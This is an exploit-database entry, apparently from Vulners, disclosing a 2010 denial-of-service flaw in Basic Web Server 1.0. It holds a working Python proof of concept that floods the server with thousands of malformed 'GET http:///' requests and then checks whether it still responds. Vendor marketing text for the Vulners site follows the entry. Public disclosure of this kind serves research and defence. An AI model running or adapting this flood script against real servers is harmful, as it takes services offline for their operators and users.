`# ------------------------------------------------------------------------
# Software................Basic Web Server 1.0
# Vulnerability...........Denial Of Service
# Download................http://www.bit4free.com/
# Release Date............9/16/2010
# Tested On...............Windows XP
# ------------------------------------------------------------------------
# Author..................John Leitch
# Site....................http://www.johnleitch.net/
# [email protected]
# ------------------------------------------------------------------------
#
# --Description--
#
# Flooding the server with malformed HTTP requests results in the server
# failing to respond to legitimate requests.
#
#
# --PoC--
import socket
host = 'localhost'
port = 80
include_file = True
complete_path = True
try:
for i in range(0, 1024):
for x in range(0, 8):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send('GET http:/// HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
print '.',
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send('GET / HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
s.recv(8192)
print 'response received'
except:
print 'error contacting server'
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation